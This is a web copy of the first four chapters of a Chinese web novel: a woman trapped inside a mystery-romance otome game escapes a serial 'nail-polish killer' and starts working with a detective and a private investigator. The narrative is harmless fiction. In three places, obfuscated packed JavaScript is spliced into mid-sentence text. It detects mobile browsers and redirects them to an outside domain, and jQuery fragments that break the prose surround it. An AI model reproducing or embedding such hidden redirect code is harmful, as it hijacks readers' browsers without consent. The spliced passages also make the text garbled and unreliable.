《在乙游靠破案系统攻略NPC》
1. 第 1 章
祝好是被一阵悉悉簌簌的声响吵醒的,当她睁开眼时,发现眼前一片漆黑,一股混杂着霉菌和灰尘的味道萦绕在鼻间。
她下意识想坐起身,可浑身上下一丝力气都没有,嘴也被什么东西封住了。
后脑勺传来的剧痛告诉她,这不是在做梦。
到底是什么个情况?
祝好的太阳穴针扎似的抽痛不已,她只记得自己在房间里打游戏时睡着了,一觉醒来,身下柔软的被褥就变成了冰冷粗糙的地板。
而中间的记忆仿佛丢失了一般,无论她怎么努力,都想不起来自己为什么会在这儿。
难道是有人趁她睡着把她绑架了?
“欢迎进入乙女游戏《暗夜蔷薇的呢喃》,已确认宿主身份,与系统绑定成功。”
脑海中冷不丁出现一个机械的声音,把祝好吓了一激灵,花了足足五秒钟,她才确定这个声音并不是幻觉。
绑定?系统?
怎么回事,自己这是穿越了吗?
还有,乙女游戏是什么玩意儿?
祝好无法张嘴发声,脑子里的声音却仿佛知晓了她的心思,回答道:“乙女游戏,简称乙游,是一种以女性群体为目标受众的恋爱模拟类游戏。在这里,您可以通过攻略不同类型的男性NPC,体验情感上的共鸣。”
祝好:……
她刚想继续问下去,就听到“吱呀”一声,门被推开了。
随着一阵脚步声拍打着地板渐行渐近,脑子里的声音戛然而止。
她如临大敌般绷紧身体,一丝说不出的寒意顺着脊背爬至颅顶。
视线里出现了幽暗的光,天花板上映出一个摇曳的人影。
借着那一丝光亮,祝好转动唯一还能动的眼珠子环顾着四周。
这不看不要紧,一看就把她吓出了一身冷汗。
房间里除了一张破旧的木桌外空无一物,四面墙和地板上都贴满了塑料薄膜,吵醒她的就是窗外的风吹动塑料薄膜发出的动静。
走进房间的人身着一件黑色雨衣,正背对着她在桌上鼓捣着什么。
既然是乙游,不应该是飘着粉红色花瓣的浪漫场景吗?
为什么一开场就如此诡谲瘆人?
这个人又是谁?不会就是自己要攻略的男主吧?
各种各样的疑问你方唱罢我登场,没等她把那些乱七八糟的思绪理清楚,黑色雨衣就徐徐转过身向她走来,站定在她身边,居高临下地看着她。
灯光昏暗,祝好根本无法看清那张被口罩和护目镜包裹得严严实实的脸,却无端觉得他仿佛在打量砧板上一条即将被刮鳞剖腹的鱼。
片刻后,他缓缓把戴着橡胶手套的手伸进口袋里,掏出了一瓶指甲油。
指甲油?
祝好怀疑自己看走眼了,定睛凝视片刻,才确定他手里的真的是一瓶红色的指甲油。
他一言不发地拧开瓶盖,蹲下身来抓起她一只手,给她涂上指甲油。
他的动作轻柔又小心,然而每一秒钟对祝好来说都是煎熬。
她无法动弹、无法发声,根本不知道眼前这个人究竟要对她做些什么,只能任由他摆布。
转眼间,黑色雨衣已经给她两只手的手指都涂上了指甲油,他把瓶盖拧紧收回口袋里,起身走向那张破旧的桌子。
虽然从祝好的角度无法看清桌上的东西,但金属碰撞发出的声响和在灯光映照下闪烁的寒光,无一不在撩拨着她敏感的神经——
是刀!
她突然想起之前看过的某部犯罪电影里,凶手为了防止受害者的血液喷溅到地板和墙壁上,从而留下犯罪痕迹,所以将整个房间都铺满了方便清理的塑料薄膜。
也就是说,眼前这个人根本不是什么游戏男主,而是一个准备杀死自己的变态杀人魔。
祝好的脑子里登时警铃大作,被胶带封住的嘴不停发出“呜呜”的声音,试图唤出那个突然消失的系统,然而它却如宕机了一般毫无动静。
不会吧,自己莫非就要交代在这里了?
可为什么偏偏是她?
她明明只是一个芳龄二十三,如花似玉,人畜无害的五好青年。
就算是因为她大学毕业后一时找不到合适的工作,天天呆在家里看小说、打游戏而遭了天谴,也不至于受到这样的惩罚吧?
“宿主,您还好吗?”
消失的系统终于姗姗来迟,祝好忍不住爆了句国粹:“你看我像还好的样子吗?我就快要被这个变态杀人魔杀死了,你好意思问我还好吗?你XXX!”
系统:“宿主,请避免使用粗俗词语,会被系统自动屏蔽的。”
祝好完全听不下去,只能无声呐喊:“这到底是什么破游戏啊!快找个人来救救我啊啊啊啊啊!”
系统:“检测到紧急情况,请问是否要打开控制面板?”
祝好无暇思考控制面板有什么用,但直觉告诉她这是当下活命的唯一方法,便迫不及待地选择了“是”。
眼前突然浮现出一块发光的蓝色面板,上面显示出几个数值。
姓名:祝好
体力:0
积分:100
她强忍着恐惧,问道:“积分?积分能用来做什么?”
系统回答:“这是您的初始积分,可以在系统商城购买服饰和道具,提升与NPC的好感度。”
祝好:……
她槽多无口,增加好感度能阻止自己即将变成刀下冤魂的命运吗?
系统:“对不起,宿主,这毕竟是一个乙游……”
祝好打断它:“你也知道这是个乙游,那还设计这种破剧情干什么啊!谁家好游戏开局就碰到变态杀人魔的啊?”
系统沉默了片刻才回应:“按照剧情设定,第一位NPC应该已经出现,并且英雄救美了才对,然而我检测到剧情并没有按原来的设定发展。”
什么意思?
还没等祝好问出口,黑色雨衣已经提着一把水果刀向她走来。
他缓缓蹲下身,却没有马上动手,而是用刀在祝好的胸口处比划着,似乎在思索着什么。
祝好内心充斥着绝望,难道说,游戏刚开局就要gameover了?
系统突然开口:“从目前的情况来看,您也许只能自救了。”
她内心终于燃起了一丝希望,忙问道:“怎么自救?”
“请您打开面板上的系统商城,查看可以兑换的道具。”
祝好照它说的做了,眼前的面板上赫然出现一排排道具,有玫瑰花、巧克力、手表、项链……
这都是什么鬼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000006|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊!
她边吐槽边快速往下划拉,终于在最下方看到了一个相对有用的选项——100点体力值。
虽然不知道是什么原因才导致自己目前的体力值为0,也不确定兑换的体力值到底有没有用,但眼下也只能放手一搏了。
系统弹出提示:“宿主,您确定要使用100积分兑换100点体力值吗?”
祝好咬咬牙,选择了“是”。
提示音在脑海中响起:“已成功兑换100点体力值,有效时间10分钟。倒计时结束后,体力值归零,您将恢复至原始状态。”
这是什么黑心游戏啊,全身上下所有积分换来的体力值居然只能维持10分钟!
然而现在不是计较这些的时候,毕竟保命要紧,积分什么的都是身外之物。
随着提示音响起,身体陡然间被注入了一股力量。
与此同时,黑衣人似乎已经做出了决定,高高举起了手中的水果刀,一道冒着寒气的冷光直直劈落。
电光火石之间,祝好眸光一聚,迅速在地上翻了个身。
泛着冷意的刀锋擦着她的手臂而过,“当”地一下剁在坚硬的地面上,溅起一溜火花。
虽然躲过了致命的一刀,手臂还是被划开了一道口子,祝好疼得冷汗直流,但还是咬牙从地上一跃而起,顺势往黑色雨衣的肩头猛踹了一脚。
黑色雨衣发出一声闷哼,重心不稳,跌坐在地上,祝好趁着这个机会夺门而出。
10分钟时间实在太紧迫,她没有任何把握与他正面硬刚,这时候当然是走为上策。
门外是一条漆黑的楼道,没有一丝亮光,祝好只能凭着直觉一路向前跑,边跑边顺手撕下了贴在嘴上的胶带。
“距离体力值耗尽还有8分钟。”
祝好没空理会系统提示,大概跑出二三十米,楼梯间赫然出现在眼前。
身后交叠的脚步声和雨衣发出的“哗啦哗啦”的声响阴魂不散,她不敢回头看,更不敢有丝毫犹豫,抓着楼梯扶手迅速拐过一道急弯,沿着楼梯往楼下奔去。
“距离体力值耗尽还有6分钟。”
从楼梯间出来终于到了室外,祝好也得以借助黯淡的月光快速扫了一眼四周。
这里像是一片即将拆迁的老式居民区,早已无人居住,周围十分安静,随处可见散落的残砖碎瓦和垂落的电线。
祝好穿越之前也住在这样的老城区里,因为初期的城市规划很不合理,所以楼与楼之间有许多交叉杂乱的巷子,恰好十分适合躲藏。
来不及深思,她一头扎进距离她最近的一条漆黑的巷陌深处。
身后似乎有声响回荡在巷子里,祝好不知道是她听错了,还是黑色雨衣真对她穷追不舍。
她不敢停下脚步,无头苍蝇般不顾一切在纵横交错的乱巷里奔逃着,终于在其中一条深长的巷子尽头出现了一丝亮光。
她仿佛看到了希望,一路沿着巷子狂奔,却不知被什么东西绊倒了,手掌被尖利的碎石划出几道口子,脚踝也传来一阵钻心的剧痛。
屋漏偏逢连夜雨,突然响起的系统提示声又一次让她的心提到了嗓子眼:“距离体力值耗尽还有2分钟。”
她咬紧牙关,扶着砖墙艰难地从地上撑起身子,一瘸一拐地朝着巷子口走去。
2. 第 2 章
巷子外面就是一条宽阔的公路,光亮就来自公路两旁高耸的路灯。
此时已是深夜,公路两旁的人行道上空无一人,只时不时有一两辆车裹挟着风声呼啸而过,根本不会有人注意到她的无助。
祝好很明显能感觉到自己的体力正在流逝,她的心仿佛被一只无形的手死死攥住,上下牙也不争气碰撞在一起,发出“咯咯”的声响。
巷子的另一头,黑色雨衣果然发现了她的身影。
他似乎料定她已经无路可逃,不徐不疾朝她走来,手中的刀冒着令人胆寒的冷光。
“距离体力值耗尽仅剩一分钟。”
祝好余光瞥见公路远处再次亮起了车灯,心一横,走下人行道,站在公路中间拼命挥舞着那只没有受伤的胳膊。
在这个内心被惊惧填满的时刻,她不但没有失去神智,反而变得异常冷静。
车轮碾着尘土疾驰的声音越来越近,祝好在一片刺眼的车灯中闭上了双眼。
如果车不会停下来,那么自己顶多会被撞死。
既然都要死,哪怕是被撞得粉身碎骨,也比被变态杀人魔折磨致死要好得多。
……
一道尖锐的刹车声惊飞了路灯下的飞虫,想象中被撞飞的场景没有如期而至。
祝好倏然睁开眼,看到车在距离她两三米的地方稳稳停下。
一个身形峻拔的年轻男人从车上下来,浑身被笼罩在车灯的光晕里,看不清相貌。
脑海里突然出现“滴滴”的提示音:“可攻略对象出现,请问是否要查看对方基础资料?”
祝好毫不犹豫选择了“是”,面板浮现在眼前——
姓名:秦聿风
年龄:29岁
职业:刑警
当前好感度:0
她回头望向黑暗的巷子,那里早已没有了黑色雨衣的身影。
还没等她松一口气,一阵没由来的眩晕感便席卷而来。
她双膝发软,差点倒在地上,幸亏这个名叫秦聿风的男人眼疾手快一把扶住了她。
他目光落在祝好被鲜血染红的外套上,立刻察觉到不对劲:“小姐,你怎么了?”
“刑警”这个职业莫名给了祝好极大的安全感,她扯着秦聿风的衣襟,用尽最后的力气说道:“救命,有人要杀我……”
系统倒计时的警报声响起:“请注意,10分钟时间已到,体力值即将归零。”
话音刚落,她只觉两眼一黑,彻底晕了过去。
*
祝好的意识比身体要早些醒来,阳光从窗帘的缝隙中洒下,落在她的眼皮上。
她用手背挡在眼前,恍惚了好一会儿,才缓缓睁开眼睛,疑惑地盯着头顶的输液瓶愣神许久,一时半会儿没反应过来自己身处何处,只觉得好像做了个很长的噩梦。
“宿主,你醒了。”
脑海里的声音突然响起,霎时间记忆呼啸着回笼,祝好一下子反应过来——
不对,这不是梦。
身上的疼痛是真的,昨晚的经历是真的,脑子里这个正在跟自己对话的系统也是真的。
她揉了揉太阳穴,问道:“我为什么会在这儿?”
系统回答:“这里是医院,昨晚您体力耗尽晕倒了,是秦聿风把您送进来的。”
祝好无奈地叹息:“这个我当然记得,我的意思是,为什么好端端的我会穿越到这款什么玫瑰,什么呢喃的……乙游里?”
“宿主,《暗夜蔷薇的呢喃》是一款带有悬疑解谜色彩的乙女游戏,目前正处于开发测试阶段。你可以在探索剧情的过程中,享受到甜蜜又刺激的恋爱体验。”
祝好无语:甜蜜是一点儿也没感受到,刺激倒是挺刺激的,毕竟开局就差点被一刀剁死。
她叹了口气,问道:“……为什么会是我?”
“我们检测到您母单至今,恋爱经验为0,且精通解谜游戏,是我们万里挑一的玩家。”
祝好一时分不清这是嘲讽还是夸赞。
她难忍心中愤懑,语气也变得急躁起来:“可是你们也太不讲理了,这完全就是绑架!”
系统的声音毫无波澜:“我们给您发过邀请,是您同意参与游戏测试的。”
“我同意的?”
祝好这才恍惚记起来,那天睡前她本来在玩一款新下载的解谜游戏,屏幕上却突然弹出一条信息。
沉浸在游戏中的她没来得及细看就随手选了个“是”,不曾想就因为这个不起眼的举动,差点让自己开局就迎来死亡。
原来一切都是她自己造的孽。
病房的门突然被推开,昨晚的被追杀的场景还历历在目,祝好警惕地望向门口,看到进来的是个端着托盘的小护士,才堪堪松了口气。
见她已经醒过来,小护士惊喜道:“你醒啦?稍等片刻,我去叫医生。”说完把托盘放在床头,转身出了病房。
没过多久,穿着白大褂的医生就走了进来。他从胸前的口袋里拿出一只小手电照了照祝好的瞳孔,问道:“你现在感觉怎么样?还有哪儿不舒服吗?”
“哪哪儿都不舒服。”祝好生无可恋地回答。
她后脑勺和手臂一阵接一阵传来刺痛,扭伤的脚踝肿起一大片,脑子也乱得跟一团浆糊似的。
医生边在床头的病历上快速写着什么,边安慰道:“你头部遭到钝器击打,造成轻微脑震荡,手臂也被刀划伤。幸运的是伤势都不算严重,明天就可以出院了。”
祝好点点头,又突然想到一个很重要的问题:“那个……请问医药费怎么办?”
她发现自己住的是个单人特护病房,可她才刚来到这个游戏世界里,没有手机,没有钱包,只有一个屁用没有的破系统,根本无力支付这些费用。
护士解释道:“这个你不用担心,昨晚送你来医院的那个警察已经支付过了。”
祝好这才微微松了口气,道了声谢谢。
看来随便一个NPC都比这破系统好使多了。
目送医生和护士走出病房,祝好又重新唤出系统,问道:“我可以退出游戏吗?”
“按理来说是可以的,不过——”
祝好还没来得及高兴,就被“不过”两个字泼了一头冷水:“不过什么?”
系统少见地停顿了几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000007|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秒钟:“本来我们给您发送的只是手机上的试玩邀请,随时可以退出,但不知什么原因,您却穿进了游戏里,这一切都在我们的意料之外。”
“什么叫意料之外,你们得对我负责!”
祝好气得差点儿从床上蹦起来,但刚一动弹就扯到了手臂上的伤口,疼得她龇牙咧嘴。
“宿主,您别激动。我们检测到这里的NPC突然有了自己的意识和想法,剧情也已经偏离了原来的设定,这个bug我们暂时没办法修复,所以……”
它有所保留地把话说了一半。
这怎么还学会卖关子了,祝好没好气地追问:“所以什么?”
“所以只有成功通关,您才能离开游戏,否则就只能永远留在游戏里了。”
“那……如果我死掉了呢?”祝好咽了下口水:“就像昨晚那样,万一我没有成功逃脱,在游戏里被杀死了呢?”
系统不带一丝感情:“那么您在现实中也同样会死去。”
祝好:?
这到底是什么破游戏啊!不仅黑心,还要命。
自己才刚大学毕业,生活充满了希望,还有很多梦想等着她去完成,她绝不能就这么死了。
她一定要努力活下去!
系统无情地揭穿了她:“宿主,您是担心死了之后手机的浏览记录和电脑里存的小黄漫被人看到吧?”
祝好:“……闭嘴。”
“好的,宿主。”
“那怎么样才能通关?”
系统一言不发。
还挺傲娇。
祝好无奈地扶了扶额头:“你可以说话了。”
系统这才回答:“只要完成剧情,找到真凶,并且与其中一位可攻略的NPC好感度达到100,就可以成功通关。”
她又问:“要怎么样才能快速提升跟NPC的好感度?”
系统:“宿主,好感度是需要在日常的生活中慢慢培养的,没办法快速提升。”
祝好闻言,捏了捏发涩的眉心。
她平日里最大的爱好就是看犯罪电影和侦探小说,推理游戏也玩了不少,如果光是完成剧情、找到真凶,对她来说应该不是什么难事。
然而也正是因为沉迷于这些东西,她长那么大连男生的手都没碰过,根本不知道要怎么跟他们培养感情。
好好做个悬疑解谜游戏不行吗,谈恋爱到底有什么好玩的?
她打开控制面板随意划拉了几下,点开商城查看里面的商品:“你昨晚是不是说过可以给他们送礼物来提升好感度?”
系统:“宿主,礼物需要用积分兑换,您当前的积分为0。”
“积分要怎么获得?”
“与NPC的好感度越高,就能获得越多的积分。”
得,还是个无解的死循环。
大概是看她一副失魂落魄的模样,系统出言安慰道:“宿主,不用担心,我会帮助您度过新手期的。”
祝好完全听不下去,心如死灰地把脸埋在枕头里。
病房的门又被敲响了,她随口应了句“请进”才抬眼望向门口,才发现推门进来的正是秦聿风。
3. 第 3 章
先不说他是可攻略的对象之一,毕竟昨晚是他救了自己,还垫付了医药费,怎么说也是她的救命恩人。
想到这里,祝好还是强打精神撑起身体,靠坐在床头,勉强挤出一丝微笑:“警察同志,昨晚真是谢谢你了,医药费……我之后会想办法还的。”
秦聿风露出一个和颜悦色的笑:“医药费都是小事,你身体好些了吗?”
大概是出于职业习惯,他这话听起来没掺杂什么私人感情,客套的意味占了七八成。
祝好也礼貌地回答:“医生说没什么大碍了,就是伤口还有些痛。”
秦聿风冲她点了点头,掏出警官证在她面前晃了一下:“我叫秦聿风,是淮江市刑警队的队长。我有几个问题想问你,你现在方便回答吗?”
一想到自己还欠他个大人情,并且一时半会可能还不了,祝好只好点头道:“可以。”
秦聿风用脚把一张椅子勾到床边坐下,往椅背上一靠,从兜里掏出一本巴掌大的笔记本放在翘起的二郎腿上。
祝好趁机偷偷打量着他,暗暗感慨真不愧是乙女游戏的可攻略对象,不仅身姿挺拔,五官也十分周正。
大概是因为长期在案发现场奔波,他的皮肤被晒成了健康的小麦色,更能衬出那双明亮的眸子。
嗯,一副人民警察该有的正直模样。
秦聿风完全没注意到她的小心思,他拿出一支圆珠笔,咬开笔帽,问道:“你叫什么名字?”
祝好还是第一次接受警察叔叔的问询,不由得坐得端正,双手规规矩矩地交叠放在膝盖上,乖巧地回答:“祝好。祝贺的祝,好人的好。”
秦聿风在笔记本上潦草记下她的名字,又问:“年龄?”
“二十三。”
“家庭住址?”
祝好愣住了,一时不知道怎么回答,只得随意找了个借口:“不记得了。”
“那家属的联系方式还记得吗?”
祝好苦笑了一下:“我爸妈都过世了,家里就我一个人。”
秦聿风眼神掠过她苍白的脸颊,若有所思地点了点头,不动声色地换了个话题:“祝小姐,昨天晚上你说有人要杀你?”
祝好点了点头,把从黑暗中醒来、被穿着黑色雨衣的变态杀人魔追杀的事跟他说了一遍。
“那个穿着黑色雨衣的人,”秦聿风拧着双眉:“你看清楚他的长相了吗?”
祝好努力回想了片刻,摇了摇头:“当时的光线很昏暗,他还戴着口罩和护目镜,但应该不是我认识的人。”
秦聿风拿过床头的病历本翻了翻,目光停留在“头部受到重击”几个字上,问道:“那个人是先把你敲晕,才带你走的吗?”
祝好:“应该是。”
她在游戏里的记忆是从醒来后开始的,至于是怎么到的那儿,她一点印象也没有。
不过这也说明,头上的伤在她有记忆之前就已经存在了。
“体检报告显示,在你的血液里发现了咪达唑仑的成分,说明你被注射了麻醉剂。”秦聿风眯眼看着她:“你也说了醒来时全身无力,那你后来又是怎么逃到公路上的?”
祝好略一思忖,觉得这事儿不好解释,索性实话实说:“当时我脑子里突然出现了一个声音,它问我要不要用100积分换取体力值,我选择了‘是’,身上突然有了力气,我趁那个人没防备就逃了出来。”
话刚落音,她看到秦聿风的表情明显凝滞住了。
他神情复杂地看了祝好一眼,说了句“稍等”后,起身打开了病房门,小声跟门外的护士交流了几句。
虽然他把声音压得很低,但还是隐约飘进祝好的耳朵里——
“护士小姐,脑震荡对智力会有什么影响吗?”
再回来时,秦聿风看向她的眼神多了几分同情,没头没脑地说了一句:“没关系,应该很快就会恢复的。”
祝好:……
她干巴巴地笑了一下,解释道:“我刚刚是开玩笑的,那把刀即将刺向我的时候,我大概是肾上腺素飙升,才突然有了力气,就赶紧逃跑了。”
好在秦聿风没有就这个话题继续探讨下去,话锋一转,又问道:“你还记得其他的细节吗?”
想了想,他又补充:“什么都行,把你能想起来的全都告诉我。”
“细节……”祝好突然意识到什么,连忙把两只手伸到秦聿风眼前:“对了,那个人还给我涂了红色的指甲油!”
“指甲油?”
这三个字像是触及到了秦聿风的某根神经,他猛地皱起双眉,脸色突然变得很难看。
祝好不明所以,只好跟他解释:“他在拿刀刺我之前,先给我涂了指甲油,还对着一张照片在我胸口比划,像是在找下刀的位置。”
秦聿风把笔记本反扣在腿上,轻轻捏住祝好的手指仔细端详。
这还是祝好人生中第一次被男生握住手,对方还是个建模脸级别的帅哥,她的脸颊不受控制烧了起来。
兴许是察觉到她的不自在,秦聿风迅速松开了手,放缓语气,再次跟她确认:“这指甲油,确定是那个人给你涂的吗?”
祝好一头雾水,但还是点了点头。
秦聿风没说话,只是拿出手机给祝好的手拍了张照片,又请门外的护士给他拿了把不锈钢的镊子,小心翼翼从她的指甲上刮下一些指甲油放进证物袋里:“祝小姐,你先好好休息,晚点儿我再过来。”
说完起身离开病房,顺便把门给带上了。
站在走廊里,秦聿风掏出一盒烟,抖出一根叼在嘴里点燃,出神地看着远方。
过了许久,他拿起手机,拨通了一个号码。
电话过了半分钟才被接起,对面的人拖长音调“喂”了一声,听起来懒洋洋的,像是刚睡醒。
秦聿风半敛的双目模糊在指尖徐徐而上的白雾中,他深吸了一口气,道:“老程,他好像又出现了。”
*
没有手机的生活简直是太煎熬了,电视换了几个频道都是关于即将到来的大暴雨的新闻。祝好百般聊赖地躺在病床上,打了个长长的哈欠。
她灵光一闪,唤出系统,打算趁这闲隙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000008|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
研究一下控制面板。
面板里已经解锁的功能不多,除了能查看系统商城、体力值和NPC的资料外,还找到了一个“剧情回顾”的功能。
她尝试点进去,弹出来的却是“剧情回顾需要消耗50积分,当前积分不足”的提示。
回顾剧情这么基础的功能还要积分,这个游戏的制作组是不是有病啊!
系统适时出现:“宿主,剧情回顾可以用来回忆你经历过的事情,特别是跟可攻略对象之间的甜蜜瞬间,在乙游里是个很重要的功能哦。”
没有积分,这系统除了能跟她拌嘴解闷,简直形同虚设。
一想到明天出院后还不知道要在那儿落脚,她长长地叹了口气:“先不说什么甜不甜蜜,现在能活下来才是最重要的,我出院后要住在什么地方?”
系统:“抱歉,宿主,我们开发游戏的时候并没有考虑到有人会穿越进来,所以并没有给您准备住处……”
就算是网页版传奇,开局还给把镰刀呢!
祝好哀叹一口气:“难道我真的要睡大街吗?”
她一直觉得自己像棵野草,随便往哪儿撒把种子,不用灌溉也不用施肥,就算被拦腰割断,也能顽强又野蛮地继续生长。
然而她还是第一次面对这种一无所有、从零开始的境地,一时不知道该怎么办好。
正苦恼时,只听“砰”地一声,病房门突然被撞开,她吓了一大跳,下意识抓起枕头护在身前。
进来的是个身形高大挺拔的男人,还没等祝好看清他的模样,他就已经带着一股压迫感大步跨到病床前。
“老程,你冷静点儿!”说话的是紧随其后的秦聿风,他一把扯住男人的胳膊:“她现在还没完全恢复……”
年轻男人甩开秦聿风,双手撑在床沿上,一双黑沉沉的眼睛穿过凌乱的刘海,上下扫量着祝好。
系统没有弹出提示,说明眼前这个头发蓬乱、满脸胡茬的男人并不是可攻略对象,按照她玩推理游戏的经验来判断,应该只是一个跟剧情相关的路人甲。
跟秦聿风的随和相比,他的身上自带着一种让人不敢直视的凌厉气场,祝好莫名被他看得有些心虚,不由自主地移开目光,避免跟他对视。
男人突然开口说话:“你身高多少?”
祝好不解,但还是如实回答:“一米六五。”
“二十三岁,身高一米六五,中短发,她的年龄和外貌符合指甲油杀手的受害者偏好。”
男人说完,又毫不客气地抓过祝好的手,仔细看着她手上的指甲油:“就算不是指甲油杀手,也一定跟他有关系。”
指甲油杀手?
祝好想到昨晚那个黑色雨衣给她涂上的指甲油,以及秦聿风在听到“指甲油”这三个字时的反应,心底隐隐浮现出一个揣测。
她问:“你们说的指甲油杀手是谁?跟昨晚追杀我的那个人有关系吗?”
男人没回答,而是皱着眉反问道:“你不知道这件事儿?”
祝好更疑惑了,自己应该认识这个什么指甲油杀手吗?
4. 第 4 章
秦聿风无奈地把男人推到一旁:“老程,不是跟你说过她得了脑震荡吗?医生说了她可能会丢失一部分的记忆。你让开,我来吧。”
“抱歉啊,介绍一下,这是我朋友程述,是个私家侦探。”简单介绍完男人的名字和身份后,秦聿风解释道:“昨晚追杀你的那个人,很有可能是消失了几年的一个连环杀人犯,所以你能提供的线索对我们来说至关重要。”
还真被祝好猜中了,一开局就被连环杀人犯追杀,这游戏还真是有够刺激的。
按照系统的提示,找出这个要杀自己的人,应该就是剧情任务的一部分,她必须先得到更多有用的信息。
斟酌片刻后,她问道:“秦警官,可以告诉我一些关于这个连环杀手的信息吗?我觉得或许会对我找回记忆有点帮助。”
似乎是觉得她说得有道理,秦聿风沉吟了一会儿,缓缓开口:“过去十三年间,淮江市发生了一起恶性连环杀人案,一共有九名女性惨遭杀害,从杀人手法、受害者偏好以及给受害者涂上指甲油的标志来看,我们判断凶手为同一个人。”
“这个人作案手法残忍,而且智商很高,犯案多次却从没有留下任何线索,因此我们也一直没有抓到他。不过,他五年前最后一次犯案之后就再也没出现过,直到昨天晚上。”
祝好有些疑惑:“那这事儿……跟这位程先生有什么关系?”
秦聿风抬头看了一眼背对他们望着窗外的程述,不着痕迹地转移了话题:“如果昨晚那个人真的是指甲油杀手,你很有可能是唯一一个幸存者,也是最有可能帮助我们找到他的人。”
祝好总觉得他好像刻意隐瞒了什么,刚想追问,就看到程述抱着双臂走到床前,居高临下地看着她,语气冷硬:“如果再回到那片居民区,你还能找到他囚禁你的那个地方吗?”
这个路人甲虽然长得也不错,但实在太没有礼貌了,难怪当不了可攻略对象。
祝好对他这番趾高气昂的态度有些不爽,用同样冷冰冰的语气回答:“不确定。”
“明天等你出院了,我想带你去试试看。”
他的语气听起来不是请求,也不是商量,而更像是命令。
祝好本就对他没什么好感,火气“腾”一下上来了,白眼差点儿翻上天:“程先生,既然是请人帮忙,你是不是应该有点最基本的礼貌?”
“噗——”秦聿风差点笑出声来,随即马上握拳捂住嘴,脸憋得通红。
程述的脸色更难看了,他斜了秦聿风一眼,咬了咬嘴唇,面无表情地看了祝好半晌,才终于艰难地挤出一副似笑非笑的表情:“祝小姐,等你明天出院了,能不能请你去试试看?”
*
新闻里一直在循环预报的暴风雨如期而至,下了整整一夜,直到早上八九点才停下,阳光也穿破云层洒在大地上。
一大早,秦聿风就来给祝好办了出院手续,扶着她上了车。
开车的是全程沉着脸一言不发的程述,祝好也不屑搭理他,一路上都在和秦聿风聊天。
没过多久,车就开到那天晚上祝好逃离指甲油杀手的那个巷口。
巷子太窄,车无法驶入,只能步行。
秦聿风告诉祝好,这片居民区的房子几乎都是八九十年代建起的,早些年被划入旧城改造的范围,原本的居民早就搬走了,但因为各种各样的原因,拆迁计划进行到一半就被搁置了,一直到现在也没有恢复施工。
时间一长,这里也变得越来越荒凉破败,成为了淮江市一片被遗忘的废墟。
祝好脚踝上的伤还没好,她拄着从医院买来的拐杖艰难地穿过那条狭长的巷子,对着面前错乱交杂的小路犯了难。
程述看她犹豫不决,语气有些不耐烦:“你到底记不记得路?”
祝好一时哑然。
那天晚上整个居民区一片漆黑,地形错综复杂,她的精神又一直处于极度紧张的状态,根本分不清东南西北,更别说记清逃跑的路线了。
秦聿风从背后踹了程述一脚,转身对祝好说道:“要不我背你吧。”
没等祝好拒绝,他就已经从她手里接过拐杖扔给程述,然后在她身前蹲下了。
祝好有些不好意思,踌躇片刻,还是伸手环住了他的脖子。
他稳稳托住她的双腿,缓缓站起身来:“别着急,你慢慢想。你指哪儿我就往哪儿走。”
程述拎起拐杖,大步走在前面,时不时蹲下身观察地上可能留下的蛛丝马迹,完全视身后的两人为空气。
祝好趴在秦聿风背上,忍不住低声问:“秦警官,他一直都是这样吗?”
“你说老程?”
“嗯,这人脾气怎么稀奇古怪的,一点儿也不讨喜。”
“他平时不这样的,但是这个案子……”话说到一半,他突然顿住了。
“这个案子怎么了?”祝好追问。
“没什么。”秦聿风笑了笑,岔开话题:“你别看他这样子,其实他心肠不坏,只是不太会表达而已。”
系统忽然响起提示音:“宿主,适当的夸奖可以拉近两个人之间的距离。”
祝好心念微动,眼珠子骨碌碌一转,道:“我还是觉得秦警官你比较好相处。”
“是吗?”
也不知道是不是天气太热,秦聿风耳尖微微有些泛红。
系统响起提示音:“与秦聿风的好感度+5,获得50积分。”
祝好眼睛一亮,原来夸两句好话就能获得好感度,这么看来,攻略好像也没那么难嘛!
系统仿佛知晓了她的心思:“宿主,随着游戏进度,后期的难度也会相对提升的。”
她翻了个白眼:“谢谢你给我泼的冷水。”
在废弃的居民区里转了半天,祝好还是没能回忆起做完逃脱的路线。她灵光一闪,突然有了主意:对了,剧情回顾!
系统说过这个功能可以帮助她回忆经历过的事情,那是不是也能找到那天晚上的路线呢?
想到这儿,祝好拍了拍秦聿风的肩膀:“秦警官,能不能找个阴凉的地方歇一歇?我好像有点思路了,想好好回忆一下。”
秦聿风应了一声,在阴凉处把她放下,又转头对程述道:“我出去买点儿水,老程,你陪她在这等会儿。”
不等程述回答,他就已经转身离开了。
